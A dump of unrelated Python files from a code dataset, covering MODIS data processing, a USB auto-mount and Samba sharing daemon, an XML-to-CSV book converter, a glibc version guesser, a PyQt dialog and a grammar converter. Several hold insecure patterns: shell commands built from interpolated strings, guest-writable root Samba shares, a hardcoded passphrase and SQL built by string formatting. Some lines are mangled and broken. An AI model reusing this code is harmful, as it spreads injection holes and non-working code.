False\r\n","sub_path":"instagram/duplicate.py","file_name":"duplicate.py","file_ext":"py","file_size_in_byte":1984,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"61"} +{"seq_id":"104592028","text":"#!/usr/bin/python3\ndef square_matrix_simple(matrix=[]):\n if matrix == [] or matrix is None:\n return\n else:\n new_matrix = []\n for column in matrix:\n new_column = list(map(lambda x: x**2, column))\n new_matrix.append(new_column)\n return new_matrix\n","sub_path":"0x04-python-more_data_structures/0-square_matrix_simple.py","file_name":"0-square_matrix_simple.py","file_ext":"py","file_size_in_byte":301,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"61"} +{"seq_id":"40348511","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Mon Feb 3 10:32:50 2020\n\n@author: imchugh\n\"\"\"\n\n#------------------------------------------------------------------------------\n### MODULES (STANDARD) ###\n#------------------------------------------------------------------------------\n\nimport datetime as dt\nimport numpy as np\nimport os\nimport pandas as pd\nimport sys\nimport xarray as xr\nimport pdb\n\n#------------------------------------------------------------------------------\n### MODULES (CUSTOM) ###\n#------------------------------------------------------------------------------\n\nthis_path = os.path.join(os.path.dirname(__file__), '../MODIS')\nsys.path.append(this_path)\nimport modis_functions_rest as mfr\nimport utils\n\n#------------------------------------------------------------------------------\n### CONFIGURATIONS ###\n#------------------------------------------------------------------------------\n\nconfigs = utils.get_configs()\nmaster_file_path = configs['DEFAULT']['site_details']\noutput_path = configs['nc_data_write_paths']['modis']\n\n#------------------------------------------------------------------------------\n\n#------------------------------------------------------------------------------\n### MAIN PROGRAM\n#------------------------------------------------------------------------------\n\n#------------------------------------------------------------------------------\ndef _product_band_to_retrieve():\n\n return {'MOD09A1': ['sur_refl_b07'],\n 'MOD11A2': ['LST_Day_1km', 'LST_Night_1km'],\n 'MOD13Q1': ['250m_16_days_EVI', '250m_16_days_NDVI'],\n 'MCD15A3H': ['Lai_500m', 'Fpar_500m'],\n 'MOD16A2': ['ET_500m'],\n 'MOD17A2H': ['Gpp_500m']}\n#------------------------------------------------------------------------------\n\n#------------------------------------------------------------------------------\ndef _band_short_name(band):\n\n d = {'sur_refl_b07': 'reflectance_b7', 'LST_Day_1km': 'LST_Day', \n 'LST_Night_1km': 'LST_night', '250m_16_days_EVI': 'EVI', \n '250m_16_days_NDVI': 'NDVI', 'Lai_500m': 'LAI', 'Fpar_500m': 'FPAR', \n 'ET_500m': 'ET', 'Gpp_500m': 'GPP'}\n return d[band]\n#------------------------------------------------------------------------------\n\n#------------------------------------------------------------------------------\ndef make_qc_flags(ds):\n\n \"\"\"Generate QC flags for all variables in the ds\"\"\"\n\n da_list = []\n for var in ds.variables:\n if var in ds.dims: continue\n da = xr.where(~np.isnan(ds[var]), 0, 10)\n da.name = var + '_QCFlag'\n da_list.append(da)\n return xr.merge(da_list)\n#------------------------------------------------------------------------------\n\n#------------------------------------------------------------------------------\ndef _set_global_attrs(ds, site_details):\n \n start_date = dt.datetime.strftime(pd.to_datetime(ds.time[0].item()), \n '%Y-%m-%d %H:%M:%S')\n end_date = dt.datetime.strftime(pd.to_datetime(ds.time[-1].item()), \n '%Y-%m-%d %H:%M:%S')\n run_date = dt.datetime.strftime(dt.datetime.now(), '%Y-%m-%d %H:%M:%S')\n nc_nrecs = len(ds.time)\n\n d = {'start_date': start_date,\n 'end_date': end_date,\n 'nc_nrecs': nc_nrecs,\n 'site_name': ds.attrs.pop('site').replace(' ',''),\n 'time_step': str(int(site_details['Time step'])),\n 'time_zone': site_details['Time zone'],\n 'nc_rundatetime': run_date}\n \n ds.attrs.update(d)\n#------------------------------------------------------------------------------\n\n#------------------------------------------------------------------------------\ndef _set_var_attrs(ds):\n \n for this_var in list(ds.variables):\n if this_var in ds.dims: continue\n ds[this_var].attrs['units'] = ds.units\n ds[this_var].attrs['valid_range'] = '1e+35,-1e+35'\n#------------------------------------------------------------------------------\n \n#------------------------------------------------------------------------------\nif __name__ == \"__main__\":\n\n # Get sites info for processing\n sites = utils.get_ozflux_site_list(master_file_path)\n\n # Get list of ozflux sites that are in the MODIS collection (note Wombat\n # has designated site name 'Wombat', so change in dict)\n ozflux_modis_collection_sites = mfr.get_network_list('OZFLUX')\n coll_dict = {ozflux_modis_collection_sites[x]['network_sitename']:\n x for x in ozflux_modis_collection_sites.keys()}\n coll_dict['Wombat State Forest'] = coll_dict.pop('Wombat')\n\n # Iterate on product (create dirs where required)\n products_dict = _product_band_to_retrieve()\n for product in products_dict:\n this_path = os.path.join(output_path, product)\n if not os.path.exists(this_path): os.makedirs(this_path)\n\n # Iterate on band\n for band in products_dict[product]:\n short_name = _band_short_name(band)\n\n # Get site data and write to netcdf\n for site in sites.index:\n site_details = sites.loc[site]\n print('Retrieving data for site {}:'.format(site))\n target = os.path.join(this_path,\n '{0}_{1}'.format(site.replace(' ', ''),\n short_name))\n full_nc_path = target + '.nc'\n full_plot_path = target + '.png'\n try:\n first_date = dt.date(int(sites.loc[site, 'Start year']) - 1, 7, 1)\n first_date_modis = dt.datetime.strftime(first_date, '%Y%m%d')\n except (TypeError, ValueError): first_date_modis = None\n try:\n last_date = dt.date(int(sites.loc[site, 'End year']) + 1, 6, 1)\n last_date_modis = dt.datetime.strftime(last_date, '%Y%m%d')\n except (TypeError, ValueError): last_date_modis = None\n\n # Get sites in the collection\n if site in coll_dict.keys():\n site_code = coll_dict[site]\n x = mfr.modis_data_network(product, band, 'OZFLUX', site_code,\n first_date_modis, last_date_modis,\n qcfiltered=True)\n\n # Get sites not in the collection\n else:\n km_dims = mfr.get_dims_reqd_for_npixels(product, 5)\n x = mfr.modis_data(product, band, site_details.Latitude, \n site_details.Longitude, first_date_modis, \n last_date_modis, km_dims, km_dims, site, \n qcfiltered=True)\n\n # Reduce the number of pixels to 3 x 3\n x.data_array = mfr.get_pixel_subset(x.data_array,\n pixels_per_side = 3)\n\n # Get outputs and write to file (plots then nc)\n x.plot_data(plot_to_screen=False, save_to_path=full_plot_path)\n ds = xr.merge([x.get_spatial_mean().rename({band: short_name}),\n x.get_spatial_mean(smooth_signal=True)\n .rename({band: short_name + '_smoothed'})])\n ds.attrs = x.data_array.attrs\n _set_var_attrs(ds)\n str_step = str(int(site_details['Time step'])) + 'T'\n resampled_ds = ds.resample({'time': str_step}).interpolate()\n resampled_ds.time.encoding = {'units': 'days since 1800-01-01',\n '_FillValue': None}\n final_ds = xr.merge([resampled_ds, make_qc_flags(resampled_ds)])\n final_ds.attrs = resampled_ds.attrs\n _set_global_attrs(final_ds, site_details)\n final_ds.to_netcdf(full_nc_path, format='NETCDF4')","sub_path":"EPCN/process_modis_data.py","file_name":"process_modis_data.py","file_ext":"py","file_size_in_byte":8018,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"61"} +{"seq_id":"185041058","text":"# Utility for replacing the simple input field for the timezone with\n# a select-field that lists the available values.\n\nimport cgi\n\ntry:\n import pytz\nexcept ImportError:\n pytz = None\n\n\ndef tzfield(prop, name, default):\n if pytz:\n value = prop.plain() \n if '' == value:\n value = default\n else:\n try:\n value = \"Etc/GMT%+d\" % int(value)\n except ValueError:\n pass\n\n l = ['')\n return '\\n'.join(l)\n \n else:\n return prop.field()\n\ndef init(instance):\n instance.registerUtil('tzfield', tzfield)\n","sub_path":"extensions/timezone.py","file_name":"timezone.py","file_ext":"py","file_size_in_byte":910,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"61"} +{"seq_id":"297768729","text":"#!/bin/env python3\n\n# AMUE: Automatic Mount USB disk and Encryption and rsync\n# This progame under the MIT open source License, see http://opensource.org/licenses/mit-license.php\n# Version: 0.9.0\n\nimport os\nimport threading\nimport psutil\nimport time\nimport json\nimport fcntl\nimport pyudev\nimport pyinotify\nfrom pyinotify import WatchManager, Notifier, ProcessEvent\n\n\nFLAG = pyinotify.EventsCodes.FLAG_COLLECTIONS\n\nUSER = 'root'\nGROUP = 'root'\n\nall_log_disks_file_example = \"\"\"\n[\n{\"serial\": \"070D442256479203\", \"available\": true, \"crypt\": true, \"friendly_name\": \"陈猛_PNY_32G_U盘\"}\n]\n\"\"\"\n\nvar_lib_folder = '/var/lib/amue'\netc_folder = '/etc/amue'\nrun_folder = '/run/amue'\nmount_root_folder = run_folder + '/share_dirs'\n\npid_file = run_folder + '/amue.pid'\n\nall_log_disks_file = var_lib_folder + '/disk_logs.json'\n\npassphrase_passwd_file = etc_folder + '/passphrase_passwd_file'\n\nshare_config_file = run_folder + '/share_config'\n\nplugged_disks_file = run_folder + '/plugged_disks'\n\nneed_remove_disk_file = run_folder + '/remove_disk'\n\nremove_disk_done_file = run_folder + '/remove_disk_done'\n\n\nNORMAL_MOUNT_POINT = 'normal_mount_point'\nMOUNT_POINT_FS_TYPE = 'mount_point_fs_type'\nECRYPET_MOUNT_POINT = 'ecrypt_mount_point'\nSHARE_CONF = 'share_conf'\n\n\ndef initialize():\n for folder in (etc_folder, var_lib_folder, run_folder, mount_root_folder):\n try:\n os.makedirs(folder)\n except FileExistsError:\n pass\n os.chmod(run_folder, 0o1777)\n\n if not os.path.exists(all_log_disks_file):\n open(all_log_disks_file, 'w').write('[\\n\\n]')\n os.chmod(all_log_disks_file, 0o644)\n\n if not os.path.exists(passphrase_passwd_file):\n open(passphrase_passwd_file, 'w').write('passphrase_passwd=床前明月光')\n os.chmod(passphrase_passwd_file, 0o600)\n\n if not os.path.exists(need_remove_disk_file):\n open(need_remove_disk_file, 'w')\n os.chmod(need_remove_disk_file, 0o666)\n\n try:\n os.remove(plugged_disks_file)\n os.remove(remove_disk_done_file)\n except FileNotFoundError:\n pass\n\n smb_conf = open('/etc/samba/smb.conf', 'r+')\n include_conf_str = 'include = %s' % share_config_file\n is_have_include_str = False\n for line in smb_conf.readlines():\n if line.strip().find(include_conf_str) == 0:\n is_have_include_str = True\n break\n\n if not is_have_include_str:\n smb_conf.seek(0, 2)\n smb_conf.write('\\n\\n%s' % include_conf_str)\n smb_conf.close()\n\n need_umount_ecryptfs_info = []\n need_umount_normal_info = []\n for line in open('/etc/mtab').readlines():\n strs = line.split()\n path = strs[1]\n if os.path.split(path)[0] == mount_root_folder:\n if strs[2] == 'ecryptfs':\n need_umount_ecryptfs_info.append([strs[1], strs[2]])\n else:\n need_umount_normal_info.append([strs[1], strs[2]])\n i = 0\n for need_umount_info in (need_umount_ecryptfs_info, need_umount_normal_info):\n for one in need_umount_info:\n umount(one[0], one[1])\n i += 1\n if i:\n print('umount %d dirs under %s' % (i, mount_root_folder))\n\n\nsys_part_info_example = {\n '070D442256479203': {\n '/dev/sdb1': {\n 'samba_conf': '',\n 'mount_point': '/run/file_share/陈猛PE盘/分区1',\n 'mount_point_fstype': 'ntfs-3g',\n 'ecrypt_mount_point': '/run/file_share/陈猛PE盘/分区1'\n },\n '/dev/sdb2': {\n 'mount_point': '/run/file_share/陈猛PE盘/分区2',\n 'ecrypt_mount_point': '/run/file_share/陈猛PE盘/分区2'\n }\n }\n}\n\n\nplugged_disks = {}\n\n# print(device.get('ID_FS_LABEL'))\n\n\ndef process_device_event(device):\n\n if device.action == 'add':\n process_device_action_add(device)\n\n\ndef process_device_action_add(device):\n\n serial = device.get('ID_SERIAL_SHORT')\n fs_type = device.get('ID_FS_TYPE')\n node = device.device_node\n disk_logs = json.load(open(all_log_disks_file))\n\n disk_log = None\n for one in disk_logs:\n if one['serial'] == serial:\n disk_log = one\n break\n\n if disk_log is None or not disk_log['available']:\n print('Not available disk plugged serial: %s' % serial)\n return\n if device.get('ID_PART_ENTRY_TYPE') == '0x5':\n return\n if fs_type not in ('vfat', 'ntfs-3g'):\n return\n\n if serial not in plugged_disks.keys():\n plugged_disks[serial] = {}\n if node not in plugged_disks[serial].keys():\n plugged_disks[serial][node] = {}\n\n normal_mount_point = mount_root_folder + '/' + disk_log['friendly_name'] + '__' + device.sys_number\n try:\n os.makedirs(normal_mount_point)\n except FileExistsError:\n pass\n\n mount(node, normal_mount_point, fs_type)\n plugged_disks[serial][node][NORMAL_MOUNT_POINT] = normal_mount_point\n plugged_disks[serial][node][MOUNT_POINT_FS_TYPE] = fs_type\n\n if disk_log['crypt'] is True:\n ecrypt_mount(normal_mount_point, normal_mount_point)\n plugged_disks[serial][node][ECRYPET_MOUNT_POINT] = normal_mount_point\n\n plugged_disks[serial][node][SHARE_CONF] = share_templet(normal_mount_point)\n\n safe_write(get_shares_str(plugged_disks), share_config_file)\n\n samba_reload()\n\n safe_write(json.dumps(plugged_disks), plugged_disks_file)\n\n\ndef safe_write(s, file):\n f = open(file, 'w')\n fcntl.flock(f.fileno(), fcntl.LOCK_EX)\n f.write(s)\n fcntl.flock(f.fileno(), fcntl.LOCK_EX)\n\n\ndef safe_read(file):\n f = open(file, 'r')\n fcntl.flock(f.fileno(), fcntl.LOCK_EX)\n s = f.read()\n fcntl.flock(f.fileno(), fcntl.LOCK_EX)\n return s\n\n\ndef get_pid_of_cwd_of_path(process_name, path):\n pids = []\n for process in psutil.process_iter():\n try:\n if process.name == process_name and process.getcwd() == path:\n pids.append(process.pid)\n except psutil.NoSuchProcess:\n continue\n return pids\n\n\ndef mount(src, dst, fs_type):\n options = 'rw'\n if fs_type == 'vfat':\n options += ',flush,utf8=1,uid=%s,gid=%s' % (USER, GROUP)\n elif fs_type == 'ntfs-3g':\n pass\n\n cmd = '/bin/mount %s \"%s\" -t %s -o %s' % (src, dst, fs_type, options)\n os.system(cmd)\n\n\ndef ecrypt_mount(src, dst):\n cmd = '/bin/mount -t ecryptfs %s \"%s\" -o ' \\\n 'sync,' \\\n 'key=passphrase,' \\\n 'passphrase_passwd_file=%s,' \\\n 'ecryptfs_cipher=aes,' \\\n 'ecryptfs_key_bytes=16,' \\\n 'ecryptfs_passthrough=n,' \\\n 'ecryptfs_enable_filename_crypto=n,' \\\n 'no_sig_cache' \\\n % (src, dst, passphrase_passwd_file)\n os.system(cmd)\n\n\ndef umount(path, fs_type=None):\n if fs_type:\n os.system('/bin/umount %s -t %s' % (path, fs_type))\n else:\n os.system('/bin/umount %s ' % path)\n\n\ndef share_templet(path):\n ss = [\n '[%s]' % os.path.split(path)[1],\n ' path = %s' % path,\n ' writeable = yes',\n ' browseable = yes',\n ' guest ok = yes',\n ' force user = %s' % USER,\n ' force group = %s' % GROUP,\n # ' create mode = 0644',\n # ' directory mode = 0755',\n\n ]\n\n s = ''\n for line in ss:\n s += line + '\\n'\n s += '\\n'\n return s\n\n\ndef get_shares_str(disks):\n s = ''\n for part in disks.values():\n for info in part.values():\n s += info[SHARE_CONF]\n return s\n\n\ndef samba_start():\n os.system('/etc/init.d/samba start')\n\n\ndef samba_stop():\n os.system('/etc/init.d/samba stop')\n\n\ndef samba_reload():\n os.system('/etc/init.d/samba reload')\n\n\nclass EventHandler(ProcessEvent):\n\n def process_in_close_write(self, event):\n print(\"CLOSE_WRITE file: \", event.path, event.name)\n\n serial = open(need_remove_disk_file, 'r').read()\n\n try:\n disk = plugged_disks.pop(serial)\n except KeyError:\n return\n safe_write(get_shares_str(plugged_disks), share_config_file)\n samba_reload()\n\n for part in disk:\n\n if ECRYPET_MOUNT_POINT in disk[part].keys():\n mount_point = disk[part][ECRYPET_MOUNT_POINT]\n for pid in get_pid_of_cwd_of_path('smbd', mount_point):\n os.kill(pid, 9)\n umount(mount_point, 'ecryptfs')\n\n mount_point = disk[part][NORMAL_MOUNT_POINT]\n for pid in get_pid_of_cwd_of_path('smbd', mount_point):\n os.kill(pid, 9)\n umount(mount_point, disk[part][MOUNT_POINT_FS_TYPE])\n\n os.rmdir(disk[part][NORMAL_MOUNT_POINT])\n\n safe_write(serial, remove_disk_done_file)\n\n safe_write(json.dumps(plugged_disks), plugged_disks_file)\n\n\ndef fs_monitor(path=need_remove_disk_file):\n wm = WatchManager()\n mask = FLAG['OP_FLAGS']['IN_CLOSE_WRITE'] | FLAG['OP_FLAGS']['IN_CLOSE_NOWRITE']\n notifier = Notifier(wm, EventHandler())\n wm.add_watch(path, mask, rec=True)\n # print('now starting monitor %s' % path)\n\n while True:\n notifier.process_events()\n if notifier.check_events():\n notifier.read_events()\n\nif __name__ == '__main__':\n samba_stop()\n samba_start()\n initialize()\n\n context = pyudev.Context()\n monitor = pyudev.Monitor.from_netlink(context)\n monitor.filter_by(subsystem='block', device_type='partition')\n observer = pyudev.MonitorObserver(monitor, callback=process_device_event, name='monitor-observer')\n observer.daemon = False\n observer.start()\n\n mylock = threading.RLock()\n\n fs_monitor_thread = threading.Thread(target=fs_monitor)\n\n fs_monitor_thread.start()\n\n while True:\n if observer.is_alive():\n time.sleep(0.1)\n else:\n print('debug--dead!!!')\n input()\n observer.start()\n","sub_path":"artu/auto_mount.py","file_name":"auto_mount.py","file_ext":"py","file_size_in_byte":9848,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"61"} +{"seq_id":"395199068","text":"import glob, json, re\nimport numpy as np\nimport pandas as pd\n\nfrom xml.dom import minidom\nfrom pathlib import Path\nfrom progress.bar import Bar\n\ndef should_filter_out_shelf(shelf_name):\n if 'read' in shelf_name:\n return True\n\ndef add_book(filename, books_dict):\n with open(filename, encoding='utf-8') as file_xml:\n xml_data = file_xml.read()\n\n book_xml = minidom.parseString(xml_data)\n book = book_xml.getElementsByTagName('book')[0]\n book_work = book.getElementsByTagName('work')[0]\n\n try:\n books_dict['id'].append(int(book.getElementsByTagName('id')[0].firstChild.data))\n except:\n books_dict['id'].append(None)\n\n try:\n books_dict['best_id'].append(int(book_work.getElementsByTagName('best_book_id')[0].firstChild.data))\n except: \n books_dict['best_id'].append(None)\n\n try:\n books_dict['title'].append(book.getElementsByTagName('title')[0].firstChild.data)\n except:\n books_dict['title'].append(None)\n\n try:\n books_dict['author'].append(book.getElementsByTagName('author')[0].getElementsByTagName('name')[0].firstChild.data)\n except:\n books_dict['author'].append(None)\n\n try:\n description = book.getElementsByTagName('description')[0].firstChild.data.replace('

    ', '\\n').replace('
    ', '\\n')\n description = re.sub('<[^<]+?>', '', description)\n books_dict['description'].append(description)\n except:\n books_dict['description'].append(None)\n\n try:\n books_dict['year'].append(int(book_work.getElementsByTagName('original_publication_year')[0].firstChild.data))\n except:\n books_dict['year'].append(None)\n\n try:\n books_dict['num_pages'].append(int(book.getElementsByTagName('num_pages')[0].firstChild.data))\n except:\n books_dict['num_pages'].append(None)\n\n try:\n books_dict['format'].append(book.getElementsByTagName('format')[0].firstChild.data)\n except:\n books_dict['format'].append(None)\n\n try:\n books_dict['media_type'].append(book_work.getElementsByTagName('media_type')[0].firstChild.data)\n except:\n books_dict['media_type'].append(None)\n\n try:\n books_dict['language'].append(book.getElementsByTagName('language_code')[0].firstChild.data)\n except:\n books_dict['language'].append(None)\n\n try:\n books_dict['image_url'].append(book.getElementsByTagName('image_url')[0].firstChild.data)\n except:\n books_dict['image_url'].append(None)\n\n try:\n books_dict['average_rating'].append(float(book.getElementsByTagName('average_rating')[0].firstChild.data))\n except:\n books_dict['average_rating'].append(None)\n\n try:\n books_dict['rating_dist'].append(book_work.getElementsByTagName('rating_dist')[0].firstChild.data)\n except:\n books_dict['rating_dist'].append(None)\n \n try:\n books_dict['ratings_count'].append(int(book_work.getElementsByTagName('ratings_count')[0].firstChild.data))\n except:\n books_dict['ratings_count'].append(None)\n \n try:\n books_dict['text_reviews_count'].append(int(book_work.getElementsByTagName('text_reviews_count')[0].firstChild.data))\n except:\n books_dict['text_reviews_count'].append(None)\n\n shelves = book.getElementsByTagName('shelf')\n shelves_dict = {}\n for shelf in shelves:\n shelf_name = shelf.getAttribute('name')\n if not should_filter_out_shelf(shelf_name):\n shelves_dict[shelf_name] = int(shelf.getAttribute('count'))\n\n try:\n books_dict['shelves'].append(json.dumps(shelves_dict))\n except:\n books_dict['shelves'].append(None)\n\n return books_dict\n\ndef create_csv(books_path, target_path):\n books_dict = {\n 'id': [],\n 'best_id': [],\n 'title': [],\n 'author': [],\n 'description': [],\n 'year': [],\n 'num_pages': [],\n 'format': [],\n 'media_type': [],\n 'language': [],\n 'image_url': [],\n 'average_rating': [],\n 'rating_dist': [],\n 'ratings_count': [],\n 'text_reviews_count': [],\n 'shelves': []\n }\n\n filenames = list(books_path.glob('*'))\n bar = Bar('Processing', max=len(filenames))\n for filename in filenames:\n books_dict = add_book(filename, books_dict)\n bar.next()\n bar.finish()\n\n books_df = pd.DataFrame.from_dict(books_dict)\n books_df.to_csv(target_path.joinpath('books.csv'), index=False)\n\nif __name__ == \"__main__\":\n BOOKS_PATH = Path('./data/books_xml/')\n TARGET = Path('./data/')\n create_csv(BOOKS_PATH, TARGET)","sub_path":"webscraping/create_csv_from_xml.py","file_name":"create_csv_from_xml.py","file_ext":"py","file_size_in_byte":4617,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"61"} +{"seq_id":"417962128","text":"RULE_DICT = {}\n\n\ndef read_grammar(grammar_file):\n with open(grammar_file) as cfg:\n lines = cfg.readlines()\n return [x.replace(\"->\", \"\").split() for x in lines]\ndef add_rule(rule):\n global RULE_DICT\n\n if rule[0] not in RULE_DICT:\n RULE_DICT[rule[0]] = []\n RULE_DICT[rule[0]].append(rule[1:])\ndef convert_grammar(grammar):\n global RULE_DICT\n unit_productions, result = [], []\n res_append = result.append\n index = 0\n\n for rule in grammar:\n new_rules = []\n if len(rule) == 2 and rule[1][0] != \"'\":\n unit_productions.append(rule)\n add_rule(rule)\n continue\n elif len(rule) > 2:\n terminals = [(item, i) for i, item in enumerate(rule) if item[0] == \"'\"]\n if terminals:\n for item in terminals:\n rule[item[1]] = f\"{rule[0]}{str(index)}\"\n new_rules += [f\"{rule[0]}{str(index)}\", item[0]]\n index += 1\n while len(rule) > 3:\n new_rules += [f\"{rule[0]}{str(index)}\", rule[1], rule[2]]\n rule = [rule[0]] + [f\"{rule[0]}{str(index)}\"] + rule[3:]\n index += 1\n add_rule(rule)\n res_append(rule)\n if new_rules:\n res_append(new_rules)\n while unit_productions:\n rule = unit_productions.pop()\n if rule[1] in RULE_DICT:\n for item in RULE_DICT[rule[1]]:\n new_rule = [rule[0]] + item\n if len(new_rule) > 2 or new_rule[1][0] == \"'\":\n res_append(new_rule)\n else:\n unit_productions.append(new_rule)\n add_rule(new_rule)\n return result","sub_path":"grammarConverter.py","file_name":"grammarConverter.py","file_ext":"py","file_size_in_byte":1707,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"61"} +{"seq_id":"540243336","text":"#!/usr/bin/python3\n# get probable glibc versions by gcc version\nimport sqlite3\nimport logging\nimport subprocess\nfrom datetime import datetime\nimport sys\nimport re\n\nlogging.basicConfig(level=logging.INFO)\n\nconn = sqlite3.connect('versions.db')\n\n\ndef ts2str(ts):\n return datetime.fromtimestamp(ts).strftime('%Y-%m-%d %H:%M:%S')\n\n\ndef get_timespan(name, version, distro):\n c = conn.cursor()\n c.execute(\"SELECT timestamp, package, distro_release FROM versions \"\n \"WHERE name=? AND version=? AND distro=?\",\n (name, version, distro))\n row = c.fetchone()\n if not row:\n return None\n t1, package, distro_release = row\n c.execute(\"SELECT timestamp, version FROM versions \"\n \"WHERE package=? AND distro=? \"\n \" AND (distro_release=? OR distro_release IS NULL) \"\n \" AND timestamp>?\"\n \"ORDER BY timestamp ASC LIMIT 1\",\n (package, distro, distro_release, t1))\n row = c.fetchone()\n t2, v2 = None, None\n if row:\n t2, v2 = row # None if open-ended\n logging.info('get_timespan: %s %s -> %s (%s, %s): %s -> %s',\n name,\n version, v2 or 'None',\n distro_release or 'None',\n package,\n ts2str(t1),\n ts2str(t2) if t2 else 'None')\n return t1, t2, distro_release\n\n\ndef versions_in_timespan(name, distro, t1, t2, distro_release):\n vers = set()\n c = conn.cursor()\n c.execute(\"SELECT version, timestamp FROM versions \"\n \"WHERE name=? AND distro=? \"\n \" AND (distro_release=? OR distro_release IS NULL) \"\n \" AND timestamp<=?\"\n \"ORDER BY timestamp DESC LIMIT 1\",\n (name, distro, distro_release, t1))\n row = c.fetchone()\n if row:\n ver, ts = row\n logging.info('versions_in_timespan: %s: %s (%s)', name, ver, ts2str(ts))\n vers.add(ver)\n c.execute(\"SELECT version, timestamp FROM versions \"\n \"WHERE name=? AND distro=? \"\n \" AND (distro_release=? OR distro_release IS NULL) \"\n \" AND timestamp>? \"\n \" AND (timestamp %s (%s)', gccver, version, distro)\n\n if distro == 'alpine':\n return alpine_gccver_to_glibcver(version)\n\n res = get_timespan('gcc', version, distro)\n if not res:\n return\n t1, t2, distro_release = res\n\n glibc_vers = versions_in_timespan('glibc', distro, t1, t2, distro_release)\n\n return distro, distro_release, glibc_vers\n\n\nif __name__ == '__main__':\n for filename in sys.argv[1:]:\n m = re.search(br'^[^:]*:\\s*ELF[^,]*,\\s*([^,]+)', subprocess.check_output(['file', filename]))\n if not m:\n continue\n arch = m.group(1).decode('ascii')\n\n gccvers = set()\n with subprocess.Popen(['strings', filename], stdout=subprocess.PIPE) as p:\n for line in p.stdout:\n line = line.strip()\n if line.startswith(b'GCC:'):\n gccvers.add(line.decode('ascii'))\n\n distro_vers = set()\n for gccver in gccvers:\n res = gccver_to_glibcver(gccver)\n if not res:\n continue\n distro, distro_release, vers = res\n for ver in vers:\n distro_vers.add((distro, distro_release, ver))\n\n if distro_vers:\n print(filename)\n for distro, distro_release, ver in distro_vers:\n print(distro, distro_release, ver, arch)\n print()\n\n","sub_path":"changelog_scripts/gccver_to_glibcver.py","file_name":"gccver_to_glibcver.py","file_ext":"py","file_size_in_byte":4776,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"61"} +{"seq_id":"99298808","text":"from PyQt5.QtWidgets import QWidget,QLabel,QLineEdit,QApplication,QDesktopWidget,QVBoxLayout,QHBoxLayout,\\\n QPushButton,QMessageBox,QComboBox,QTextEdit,QDialog\nimport sys\nimport db_sqlite_test\n\nclass answer(QDialog):\n def __init__(self,num):\n super().__init__()\n self.num=num\n self.check = db_sqlite_test.db_sql()\n self.init()\n\n def init(self):\n self.setGeometry(0,0,600,300)\n self.center()\n vb = QVBoxLayout()\n self.answer = QTextEdit()\n hb3 = QHBoxLayout()\n\n ok = QPushButton()\n ok.setText('回答')\n ok.clicked.connect(self.clickok)\n cancle = QPushButton()\n cancle.clicked.connect(self.close)\n cancle.setText('取消')\n\n hb3.addWidget(ok)\n hb3.addWidget(cancle)\n vb.addWidget(self.answer)\n vb.addLayout(hb3)\n self.setLayout(vb)\n\n def clickok(self):\n self.check.cur.execute('''\n UPDATE QUESTION SET ANSWER = \"{B}\" where QUESTIONID={a}\n '''.format(a=self.num,B=self.answer.toPlainText())\n )\n self.check.cur.execute('''\n UPDATE QUESTION SET ANSWERED = 1 where QUESTIONID={a}\n '''.format(a=self.num)\n )\n self.check.conn.commit()\n QMessageBox.question(self, 'Success', '回答成功',\n QMessageBox.Ok, QMessageBox.Ok)\n self.close()\n\n def center(self):\n qr = self.frameGeometry()\n cp = QDesktopWidget().availableGeometry().center()\n qr.moveCenter(cp)\n self.move(qr.topLeft())\n\nif __name__ == '__main__':\n app = QApplication(sys.argv)\n run = answer(1)\n run.show()\n sys.exit(app.exec())","sub_path":"answer.py","file_name":"answer.py","file_ext":"py","file_size_in_byte":1791,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"61"} +{"seq_id":"295028968","text":"import sys\nfrom nltk.corpus import wordnet as wn\nfrom nltk.corpus import wordnet_ic\nimport pickle\nbrown_ic = wordnet_ic.ic('ic-brown.dat')\n\nclass newentity:\n def __init__(self,num='',ent='',container='',sidx='',widx=''):\n pass\n \n\n\nclass entity:\n def __init__(self,num='',ent='',sidx='',widx='',container='',lemma='',deps=None,s=None):\n self.sidx=sidx\n self.widx=widx\n self.num = num\n self.ent = ent\n self.adj = \"\"\n self.verb = \"\"\n self.role = \"\"\n self.ow = \"\"\n self.orels = \"\"\n self.loc = \"\"\n self.container = container\n self.contains = \"NULL VALUE\"\n self.lemma = lemma\n self.sent = \"\"\n self.text = \"\"\n self.each = 0\n if deps != None:\n self.parsedeps(deps)\n if s != None:\n self.text = s[\"text\"]\n #self.getContainer(s)\n\n def parsedeps(self,deps):\n noun = self.ent.split(\" \")[-1]+\"-\"+str(self.widx)\n ndeps = [x for x in deps if x[1] == noun]\n protod = [(x[0],x[2].split(\"-\")[0]) for x in ndeps]\n ndeps = [x for x in deps if x[2] == noun]\n protod.extend([(x[0],x[1].split(\"-\")[0]) for x in ndeps])\n deps = {k:v for k,v in protod}\n\n preps = [x for x in deps if \"prep_\" in x]\n locations = [deps[x] for x in preps if x.split(\"_\")[1] in [\"in\",\"at\",\"on\"]]\n # need to check if prep_on is a noun or a verb\n self.loc = \" \".join(locations)\n\n each = [x for x in protod if \"each\" in x[1]]\n if each:\n self.each = 1\n\n if \"nsubj\" in deps:\n self.verb = self.verb+\" \"+deps[\"nsubj\"]\n self.role = \"s\"\n\n if \"nsubjpass\" in deps:\n self.verb = self.verb+\" \"+deps[\"nsubjpass\"]\n self.role = \"s\"\n\n if \"dobj\" in deps:\n self.verb = self.verb+\" \"+deps[\"dobj\"]\n self.role = \"do\"\n\n #TODO add idobj\n\n if \"amod\" in deps:\n self.adj += \" \"+deps[\"amod\"]\n\n '''\n for x in deps:\n if x not in [\"amod\",\"dobj\",\"nsubjpass\",\"nsubj\",\"prep_in\",\"prep_at\",\"prep_on\",\"nn\"]:\n #all other relations\n self.orels += \" \"+x\n self.ow += \" \"+deps[x]\n '''\n\n\n def details(self):\n print()\n print(\"ENTITY DESCRIPTION\")\n print(\"Entity : \"+self.ent)\n print('Number : '+str(self.num))\n for x in self.__dict__:\n if x in ['ent','num']: continue\n if 